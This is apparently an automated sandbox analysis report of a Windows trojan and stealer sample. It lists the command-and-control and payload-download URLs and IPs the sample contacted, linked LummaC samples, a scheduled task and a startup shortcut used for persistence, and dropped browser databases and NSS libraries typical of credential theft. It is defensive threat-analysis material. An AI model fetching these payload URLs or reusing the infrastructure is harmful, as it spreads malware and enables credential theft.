https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, 0000000A.00000002.2853721841.000000000B4B0000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2958572755.000000000564B000.00000004.00000800.00020000.00000000.sdmp	false
https://rentry.co/static/icons/512.png	f7eded9312.exe, 0000001C.00000003.3072345604.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	false
http://31.41.244.11/files/7254021059/abu7zly.exe	skotes.exe, 00000017.00000002.3459464987.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3459464987.0000000000C4F000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exe	2z8320.exe, 00000006.00000003.2416383311.00000000013AF000.00000004.00000020.00020000.00000000.sdmp	false
https://fallyjustif.click/apil3	f7eded9312.exe, 0000001C.00000003.2985029655.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, f7eded9312.exe, 0000001C.00000003.2996752252.0000000000FA2000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
172.217.23.110	plus.l.google.com	United States	15169	GOOGLEUS	false
104.21.112.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.26.3.16	rentry.co	United States	13335	CLOUDFLARENETUS	true
188.114.96.3	fallyjustif.click	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
80.76.51.73	get.craca.ru	Bulgaria	43659	CLOUDCOMPUTINGDE	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583786
Start date and time:	2025-01-03 15:20:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	same.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@73/1016@10/13
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.210.172, 142.250.186.67, 142.250.185.206, 108.177.15.84, 172.217.18.14, 142.250.185.142, 142.250.185.195, 142.250.185.106, 142.250.185.170, 142.250.185.138, 142.250.185.202, 172.217.18.10, 216.58.206.74, 172.217.18.106, 216.58.206.42, 172.217.23.106, 142.250.186.42, 142.250.184.202, 142.250.185.234, 142.250.186.138, 142.250.186.74, 142.250.181.234, 142.250.186.170, 142.250.186.174, 142.250.185.74, 142.250.184.234, 216.58.212.138, 13.107.246.45, 20.12.23.50, 23.56.254.164
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target 2z8320.exe, PID 6012 because there are no executed function
Execution Graph export aborted for target 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe, PID 3872 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:21:12	API Interceptor	9x Sleep call for process: 2z8320.exe modified
09:21:58	API Interceptor	62x Sleep call for process: 8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe modified
09:22:01	API Interceptor	66270x Sleep call for process: skotes.exe modified
09:22:15	API Interceptor	354x Sleep call for process: abu7zly.exe modified
09:22:18	API Interceptor	8x Sleep call for process: f7eded9312.exe modified
15:21:06	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
15:22:16	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	nayfObR.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	UhsjR3ZFTD.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	Solara-Roblox-Executor-v3.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	Delta.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.112.1

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAEHCFCBKKJDGCAKFCFI

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCAAEBKEGHJKEBFHJDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIEHIIIJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDHCGCAECAAECFH

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IDHJEBGIEBFIJKEBFBFHIJJKEH

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\31143ace-755e-4852-8a00-468f4e1f4acb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08979752538941
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYZdi1zNtPMKAkzZ7okEt9r1JDSgzMMd6qD47u3+CO:+/Ps+wsI7yn5kPAkzItSmd6qE7lFoC
MD5:	745545A0F602CA217E7487E7DC60AF50
SHA1:	B9A43B637F68E915935F99CC1606D0DB4AFCCBA3
SHA-256:	C79B650AD4F0834D2C312C82A5B8DD9AD11DAB20CEC6A288F533BC7055EEF0F7
SHA-512:	8773B29652B4A303B2ABE3F99EA2BD57A3CE33488AF1091BD303309CC77310007D55998A30A60252D19F6D7D6DD7EE6AE248ABBC9DB3D7A1BDC761CEF899AB1D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\98e4883e-08d8-48ec-be0e-e208ff17e24b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.0951849659823765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYSZXmi1zNtsJ7NKSqYnlfKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynzS9qJ7A4KtSmd6qE7lFoC
MD5:	AD743343D8A38AF609AE18510B17FC07
SHA1:	86744D5A51E7B5992006BD366F3547305DAD93B6
SHA-256:	A1FABEC36BD41941C4ED3CE2145339E0F41329921B27FFA2E4B9700DAEAE5CF4
SHA-512:	BB324ED41F26FB020F1B0592BAC9750195A585E4649E963B484AB3C76FD67338691C833E48214F200C06062F3DBD9426346FB83539E48682A869A02B41A0FE5D
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6777F279-1D34.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04665509782893034
Encrypted:	false
